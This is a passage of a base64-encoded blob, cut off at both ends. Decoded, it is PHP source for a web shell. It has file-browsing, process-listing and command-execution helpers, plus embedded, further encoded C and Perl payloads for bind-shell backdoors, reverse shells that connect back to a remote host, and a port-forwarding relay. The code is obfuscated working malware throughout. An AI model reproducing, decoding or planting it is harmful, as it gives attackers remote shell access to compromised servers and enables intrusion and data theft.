GVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7CiRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOwokZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7CiRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOwokd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsKJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwokd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsKaWYoICRtb2RlICYgMHg4MDAgKSAkb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzsKaWYoICRtb2RlICYgMHg0MDAgKSAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzsKaWYoICRtb2RlICYgMHgyMDAgKSAkd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzsKJHM9c3ByaW50ZigiJTFzIiwgJHR5cGUpOwokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJG93bmVyWydyZWFkJ10sICRvd25lclsnd3JpdGUnXSwgJG93bmVyWydleGVjdXRlJ10pOwokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJGdyb3VwWydyZWFkJ10sICRncm91cFsnd3JpdGUnXSwgJGdyb3VwWydleGVjdXRlJ10pOwokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJHdvcmxkWydyZWFkJ10sICR3b3JsZFsnd3JpdGUnXSwgJHdvcmxkWydleGVjdXRlJ10pOwpyZXR1cm4gdHJpbSgkcyk7Cn0KZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZhbHVlLCRjaGVja2VkPTApCnsKICRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7CiBpZigkc2l6ZSAhPSAwKSB7ICRyZXQgLj0gInNpemU9Ii4kc2l6ZS4iICI7IH0KICRyZXQgLj0gInZhbHVlPVwiIi4kdmFsdWUuIlwiIjsKIGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7CiByZXR1cm4gJHJldC4iPiI7Cn0KZnVuY3Rpb24gd2hpY2goJHByKQp7CiRwYXRoID0gJyc7CiRwYXRoID0gZXgoIndoaWNoICRwciIpOwppZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9Cn0KZnVuY3Rpb24gcHMoJHByKQp7Z2xvYmFsICR1bml4OwokcGF0aCA9ICcnOwppZigkdW5peCl7JHBhdGggPSBleCgicHMgLWF1eCB8IGdyZXAgJHByIHwgZ3JlcCAtdiAnZ3JlcCciKTt9CmVsc2V7JHBhdGggPSBleCgidGFza2xpc3QgfCBmaW5kc3RyIFwiJHByXCIiKTt9CmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0KfQpmdW5jdGlvbiBsb2NhdGUoJHByKQp7CiRwYXRoID0gJyc7CiRwYXRoID0gZXgoImxvY2F0ZSAkcHIiKTsKaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gJHBhdGg7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfQp9CmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCkKewogaWYoIW1vcmV3cml0ZSgkZm5hbWUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKSl7ZXJyKDApO307Cn0KZnVuY3Rpb24gc3IoJGwsJHQxLCR0MikKIHsKIHJldHVybiAiPHRyIGNsYXNzPXRyMT48dGQgY2xhc3M9dGQxIHdpZHRoPSIuJGwuIiUgYWxpZ249cmlnaHQ+Ii4kdDEuIjwvdGQ+PHRkIGNsYXNzPXRkMSBhbGlnbj1sZWZ0PiIuJHQyLiI8L3RkPjwvdHI+IjsKIH0KaWYgKCFAZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkKewpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpCnsKIGlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBHQiI7fQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQogZWxzZWlmKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gIiBLQiI7fQogZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQogcmV0dXJuICRzaXplOwp9Cn0KICBmdW5jdGlvbiBEaXJGaWxlc1IoJGRpciwkdHlwZXM9JycpCiAgewogICAgJGZpbGVzID0gQXJyYXkoKTsKICAgIGlmKCgkaGFuZGxlID0gQG9wZW5kaXIoJGRpcikpKQogICAgewogICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IEByZWFkZGlyKCRoYW5kbGUpKSkKICAgICAgewogICAgICAgIGlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikKICAgICAgICB7CiAgICAgICAgICBpZihAaXNfZGlyKCRkaXIuIi8iLiRmaWxlKSkKICAgICAgICAgICAgJGZpbGVzID0gQGFycmF5X21lcmdlKCRmaWxlcyxEaXJGaWxlc1IoJGRpci4iLyIuJGZpbGUsJHR5cGVzKSk7CiAgICAgICAgICBlbHNlCiAgICAgICAgICB7CiAgICAgICAgICAgICRwb3MgPSBAc3RycnBvcygkZmlsZSwiLiIpOwogICAgICAgICAgICAkZXh0ID0gQHN1YnN0cigkZmlsZSwkcG9zLEBzdHJsZW4oJGZpbGUpLSRwb3MpOwogICAgICAgICAgICBpZigkdHlwZXMpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICBpZihAaW5fYXJyYXkoJGV4dCxleHBsb2RlKCc7JywkdHlwZXMpKSkKICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICAgIEBjbG9zZWRpcigkaGFuZGxlKTsKICAgIH0KICAgIHJldHVybiAkZmlsZXM7CiAgfQogIGNsYXNzIFNlYXJjaFJlc3VsdAogIHsKICAgIHZhciAkdGV4dDsKICAgIHZhciAkRmlsZXNUb1NlYXJjaDsKICAgIHZhciAkUmVzdWx0RmlsZXM7CiAgICB2YXIgJEZpbGVzVG90YWw7CiAgICB2YXIgJE1hdGNoZXNDb3VudDsKICAgIHZhciAkRmlsZU1hdHNjaGVzQ291bnQ7CiAgICB2YXIgJFRpbWVTdGFydDsKICAgIHZhciAkVGltZVRvdGFsOwogICAgdmFyICR0aXRsZXM7CiAgICBmdW5jdGlvbiBTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKQogICAgewogICAgICAkZGlycyA9IEBleHBsb2RlKCI7IiwkZGlyKTsKICAgICAgJHRoaXMtPkZpbGVzVG9TZWFyY2ggPSBBcnJheSgpOwogICAgICBmb3IoJGE9MDskYTxjb3VudCgkZGlycyk7JGErKykKICAgICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEBhcnJheV9tZXJnZSgkdGhpcy0+RmlsZXNUb1NlYXJjaCxEaXJGaWxlc1IoJGRpcnNbJGFdLCRmaWx0ZXIpKTsKICAgICAgJHRoaXMtPnRleHQgPSAkdGV4dDsKICAgICAgJHRoaXMtPkZpbGVzVG90YWwgPSBAY291bnQoJHRoaXMtPkZpbGVzVG9TZWFyY2gpOwogICAgICAkdGhpcy0+VGltZVN0YXJ0ID0gZ2V0bWljcm90aW1lKCk7CiAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgPSAwOwogICAgICAkdGhpcy0+UmVzdWx0RmlsZXMgPSBBcnJheSgpOwogICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudCA9IEFycmF5KCk7CiAgICAgICR0aGlzLT50aXRsZXMgPSBBcnJheSgpOwogICAgfQogICAgZnVuY3Rpb24gR2V0RmlsZXNUb3RhbCgpIHsgcmV0dXJuICR0aGlzLT5GaWxlc1RvdGFsOyB9CiAgICBmdW5jdGlvbiBHZXRUaXRsZXMoKSB7IHJldHVybiAkdGhpcy0+dGl0bGVzOyB9CiAgICBmdW5jdGlvbiBHZXRUaW1lVG90YWwoKSB7IHJldHVybiAkdGhpcy0+VGltZVRvdGFsOyB9CiAgICBmdW5jdGlvbiBHZXRNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+TWF0Y2hlc0NvdW50OyB9CiAgICBmdW5jdGlvbiBHZXRGaWxlTWF0Y2hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQ7IH0KICAgIGZ1bmN0aW9uIEdldFJlc3VsdEZpbGVzKCkgeyByZXR1cm4gJHRoaXMtPlJlc3VsdEZpbGVzOyB9CiAgICBmdW5jdGlvbiBTZWFyY2hUZXh0KCRwaHJhc2U9MCwkY2FzZT0wKSB7CiAgICAkcXEgPSBAZXhwbG9kZSgnICcsJHRoaXMtPnRleHQpOwogICAgJGRlbGltID0gJ3wnOwogICAgICBpZigkcGhyYXNlKQogICAgICAgIGZvcmVhY2goJHFxIGFzICRrPT4kdikKICAgICAgICAgICRxcVska10gPSAnXGInLiR2LidcYic7CiAgICAgICR3b3JkcyA9ICcoJy5AaW1wbG9kZSgkZGVsaW0sJHFxKS4nKSc7CiAgICAgICRwYXR0ZXJuID0gIi8iLiR3b3Jkcy4iLyI7CiAgICAgIGlmKCEkY2FzZSkKICAgICAgICAkcGF0dGVybiAuPSAnaSc7CiAgICAgIGZvcmVhY2goJHRoaXMtPkZpbGVzVG9TZWFyY2ggYXMgJGs9PiRmaWxlbmFtZSkKICAgICAgewogICAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gPSAwOwogICAgICAgICRGaWxlU3RyaW5ncyA9IEBmaWxlKCRmaWxlbmFtZSkgb3IgQG5leHQ7CiAgICAgICAgZm9yKCRhPTA7JGE8QGNvdW50KCRGaWxlU3RyaW5ncyk7JGErKykKICAgICAgICB7CiAgICAgICAgICAkY291bnQgPSAwOwogICAgICAgICAgJEN1clN0cmluZyA9ICRGaWxlU3RyaW5nc1skYV07CiAgICAgICAgICAkQ3VyU3RyaW5nID0gQFRyaW0oJEN1clN0cmluZyk7CiAgICAgICAgICAkQ3VyU3RyaW5nID0gQHN0cmlwX3RhZ3MoJEN1clN0cmluZyk7CiAgICAgICAgICAkYWEgPSAnJzsKICAgICAgICAgIGlmKCgkY291bnQgPSBAcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sJEN1clN0cmluZywkYWEpKSkKICAgICAgICAgIHsKICAgICAgICAgICAgJEN1clN0cmluZyA9IEBwcmVnX3JlcGxhY2UoJHBhdHRlcm4sIjxTUEFOIHN0eWxlPSdjb2xvcjogIzk5MDAwMDsnPjxiPlxcMTwvYj48L1NQQU4+IiwkQ3VyU3RyaW5nKTsKICAgICAgICAgICAgJHRoaXMtPlJlc3VsdEZpbGVzWyRmaWxlbmFtZV1bJGErMV0gPSAkQ3VyU3RyaW5nOwogICAgICAgICAgICAkdGhpcy0+TWF0Y2hlc0NvdW50ICs9ICRjb3VudDsKICAgICAgICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSArPSAkY291bnQ7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICAgICR0aGlzLT5UaW1lVG90YWwgPSBAcm91bmQoZ2V0bWljcm90aW1lKCkgLSAkdGhpcy0+VGltZVN0YXJ0LDQpOwogICAgfQogIH0KICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKQogIHsKICAgIGxpc3QoJHVzZWMsJHNlYykgPSBAZXhwbG9kZSgiICIsQG1pY3JvdGltZSgpKTsKICAgIHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpOwogIH0KJHBvcnRfYmluZF9iZF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM1I1Y0dWekxtZytEUW9qYVc1amJIVmtaUwpBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHhsY25KdWJ5NW9QZzBLYVc1MElHMWhhVzRvWVhKbll5eGhjbWQyS1EwS2FXNTBJCkdGeVoyTTdEUXBqYUdGeUlDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjFZM1FnYzI5amEyRmtaSEpmYVc0Z2NtVnQKYjNSbE93MEtJR2xtS0dadmNtc29LU0E5UFNBd0tTQjdJQTBLSUhKbGJXOTBaUzV6YVc1ZlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOQpwS0dGeVozWmJNVjBwS1RzTkNpQnlaVzF2ZEdVdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0lBMEtJSE52WTJ0bVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGCk5QUTB0ZlUxUlNSVUZOTERBcE93MEtJR2xtS0NGemIyTnJabVFwSUhCbGNuSnZjaWdpYzI5amEyVjBJR1Z5Y205eUlpazdEUW9nWW1sdVpDaHpiMk5yWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0sKaWttY21WdGIzUmxMQ0F3ZURFd0tUc05DaUJzYVhOMFpXNG9jMjlqYTJaa0xDQTFLVHNOQ2lCM2FHbHNaU2d4S1EwS0lDQjdEUW9nSUNCdVpYZG1aRDFoWTJObGNIUW9jMjlqYTJaa0xEQXNNQ2s3RFFvZwpJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01pazdEUW9nSUNCM2NtbDBaU2h1WlhkbVpDd2lVR0Z6YzNkdmNtUTZJaXd4TUNrCjdEUW9nSUNCeVpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3BEUW9nSUNCemVYTjBaVzBvSW1WamFHOGdkMlZzWTIKOXRaU0IwYnlCeU5UY2djMmhsYkd3Z0ppWWdMMkpwYmk5aVlYTm9JQzFwSWlrN0RRb2dJQ0JsYkhObERRb2dJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lVMjl5Y25raUtUc05DaUFnSUdOc2IzTmxLRzVsZAoyWmtLVHNOQ2lBZ2ZRMEtJSDBOQ24wTkNtbHVkQ0JqYUhCaGMzTW9ZMmhoY2lBcVltRnpaU3dnWTJoaGNpQXFaVzUwWlhKbFpDa2dldzBLYVc1MElHazdEUXBtYjNJb2FUMHdPMms4YzNSeWJHVnVLR1Z1CmRHVnlaV1FwTzJrckt5a2dEUXA3RFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2JpY3BEUXBsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNnRFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2NpY3BEUXAKbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzTkNuME5DbWxtSUNnaGMzUnlZMjF3S0dKaGMyVXNaVzUwWlhKbFpDa3BEUXB5WlhSMWNtNGdNRHNOQ24wPSI7CiRwb3J0X2JpbmRfYmRfcGw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZZbUZ6YUNBdGFTSTdEUXBwWmlBb1FFRlNSMVlnUENBeEtTQjdJR1Y0YVhRb01TazdJSDBOQ2lSTVMKVk5VUlU1ZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiMk5yWlhRN0RRb2tjSEp2ZEc5amIydzlaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRcwpKbE5QUTB0ZlUxUlNSVUZOTENSd2NtOTBiMk52YkNrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWClRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkV4SlUxUkZUbDlRVDFKVUxFbE9RVVJFVWw5QlRsa3BLU0I4ZkNCa2FXVWdJa05oYm5RZ2IzQmxiaUJ3YjNKMFhHNGlPdzBLYkcKbHpkR1Z1S0ZNc015a2dmSHdnWkdsbElDSkRZVzUwSUd4cGMzUmxiaUJ3YjNKMFhHNGlPdzBLZDJocGJHVW9NU2tOQ25zTkNtRmpZMlZ3ZENoRFQwNU9MRk1wT3cwS2FXWW9JU2drY0dsa1BXWnZjbXNwSwpRMEtldzBLWkdsbElDSkRZVzV1YjNRZ1ptOXlheUlnYVdZZ0tDRmtaV1pwYm1Wa0lDUndhV1FwT3cwS2IzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DbTl3Wlc0Z1UxUkVUMVZVTENJK0prTlBUazRpCk93MEtiM0JsYmlCVFZFUkZVbElzSWo0bVEwOU9UaUk3RFFwbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNtTnNiM04KbElFTlBUazQ3RFFwbGVHbDBJREE3RFFwOURRcDkiOwokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqCmFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIKaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVApzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JCmtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkKS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbApPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQwpCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliClNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQKS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISgpzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDCkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QKUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcApPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CiRkYXRhcGlwZV9jPSJJMmx1WTJ4MVpHVWdQSE41Y3k5MGVYQmxjeTVvUGcwS0kybHVZMngxWkdVZ1BITjVjeTl6YjJOclpYUXVhRDROQ2lOcGJtTnNkV1JsSUR4emVYTXZkMkZwZEM1b1BnMEtJMmx1WTIKeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdScGJ5NW9QZzBLSTJsdVkyeDFaR1VnUEhOMFpHeHBZaTVvUGcwS0kybHVZMngxWkdVZ1BHVnljbTV2TG1nK0RRb2phVzVqYgpIVmtaU0E4ZFc1cGMzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHNhVzUxZUM5MGFXMWxMbWcrRFFvamFXWmtaV1lnVTFSU1JWSlNUMUlOQ21WNGRHVnliaUJqCmFHRnlJQ3B6ZVhOZlpYSnliR2x6ZEZ0ZE93MEtaWGgwWlhKdUlHbHVkQ0J6ZVhOZmJtVnljanNOQ21Ob1lYSWdLblZ1WkdWbUlEMGdJbFZ1WkdWbWFXNWxaQ0JsY25KdmNpSTdEUXBqYUdGeUlDcHpkSEoKbGNuSnZjaWhsY25KdmNpa2dJQTBLYVc1MElHVnljbTl5T3lBZ0RRcDdJQTBLYVdZZ0tHVnljbTl5SUQ0Z2MzbHpYMjVsY25JcERRcHlaWFIxY200Z2RXNWtaV1k3RFFweVpYUjFjbTRnYzNselgyVnljbQp4cGMzUmJaWEp5YjNKZE93MEtmUTBLSTJWdVpHbG1EUW9OQ20xaGFXNG9ZWEpuWXl3Z1lYSm5kaWtnSUEwS0lDQnBiblFnWVhKbll6c2dJQTBLSUNCamFHRnlJQ29xWVhKbmRqc2dJQTBLZXlBTkNpQWdhClc1MElHeHpiMk5yTENCamMyOWpheXdnYjNOdlkyczdEUW9nSUVaSlRFVWdLbU5tYVd4bE93MEtJQ0JqYUdGeUlHSjFabHMwTURrMlhUc05DaUFnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUd4aFpHUnkKTENCallXUmtjaXdnYjJGa1pISTdEUW9nSUdsdWRDQmpZV1JrY214bGJpQTlJSE5wZW1WdlppaGpZV1JrY2lrN0RRb2dJR1prWDNObGRDQm1aSE55TENCbVpITmxPdzBLSUNCemRISjFZM1FnYUc5emRHVgp1ZENBcWFEc05DaUFnYzNSeWRXTjBJSE5sY25abGJuUWdLbk03RFFvZ0lHbHVkQ0J1WW5sME93MEtJQ0IxYm5OcFoyNWxaQ0JzYjI1bklHRTdEUW9nSUhWdWMybG5ibVZrSUhOb2IzSjBJRzl3YjNKME93CjBLRFFvZ0lHbG1JQ2hoY21kaklDRTlJRFFwSUhzTkNpQWdJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lWWE5oWjJVNklDVnpJR3h2WTJGc2NHOXlkQ0J5WlcxdmRHVndiM0owSUhKbGJXOTBaV2h2YzNSY2IKaUlzWVhKbmRsc3dYU2s3RFFvZ0lDQWdjbVYwZFhKdUlETXdPdzBLSUNCOURRb2dJR0VnUFNCcGJtVjBYMkZrWkhJb1lYSm5kbHN6WFNrN0RRb2dJR2xtSUNnaEtHZ2dQU0JuWlhSb2IzTjBZbmx1WVcxbApLR0Z5WjNaYk0xMHBLU0FtSmcwS0lDQWdJQ0FnSVNob0lEMGdaMlYwYUc5emRHSjVZV1JrY2lnbVlTd2dOQ3dnUVVaZlNVNUZWQ2twS1NCN0RRb2dJQ0FnY0dWeWNtOXlLR0Z5WjNaYk0xMHBPdzBLSUNBCmdJSEpsZEhWeWJpQXlOVHNOQ2lBZ2ZRMEtJQ0J2Y0c5eWRDQTlJR0YwYjJ3b1lYSm5kbHN5WFNrN0RRb2dJR3hoWkdSeUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb0tIVnVjMmxuYm1Wa0lITm9iM0owS1MKaGhkRzlzS0dGeVozWmJNVjBwS1NrN0RRb2dJR2xtSUNnb2JITnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQwppQWdJQ0J3WlhKeWIzSW9Jbk52WTJ0bGRDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnNZV1JrY2k1emFXNWZabUZ0YVd4NUlEMGdhSFJ2Ym5Nb1FVWmZTVTVGVkNrN0RRb2dJR3hoClpHUnlMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2gwYjI1c0tEQXBPdzBLSUNCcFppQW9ZbWx1WkNoc2MyOWpheXdnSm14aFpHUnlMQ0J6YVhwbGIyWW9iR0ZrWkhJcEtTa2dldzBLSUNBZ0lIQmxjbkoKdmNpZ2lZbWx1WkNJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCcFppQW9iR2x6ZEdWdUtHeHpiMk5yTENBeEtTa2dldzBLSUNBZ0lIQmxjbkp2Y2lnaWJHbHpkR1Z1SWlrN0RRb2dJQwpBZ2NtVjBkWEp1SURJd093MEtJQ0I5RFFvZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDBnTFRFcElIc05DaUFnSUNCd1pYSnliM0lvSW1admNtc2lLVHNOQ2lBZ0lDQnlaWFIxY200Z01qQTdEClFvZ0lIME5DaUFnYVdZZ0tHNWllWFFnUGlBd0tRMEtJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQnpaWFJ6YVdRb0tUc05DaUFnZDJocGJHVWdLQ2hqYzI5amF5QTlJR0ZqWTJWd2RDaHNjMjlqYXl3Z0ptTmgKWkdSeUxDQW1ZMkZrWkhKc1pXNHBLU0FoUFNBdE1Ta2dldzBLSUNBZ0lHTm1hV3hsSUQwZ1ptUnZjR1Z1S0dOemIyTnJMQ0p5S3lJcE93MEtJQ0FnSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMApnTFRFcElIc05DaUFnSUNBZ0lHWndjbWx1ZEdZb1kyWnBiR1VzSUNJMU1EQWdabTl5YXpvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdJQ0J6YUhWMFpHOTNiaWhqYzI5amF5Cnd5S1RzTkNpQWdJQ0FnSUdaamJHOXpaU2hqWm1sc1pTazdEUW9nSUNBZ0lDQmpiMjUwY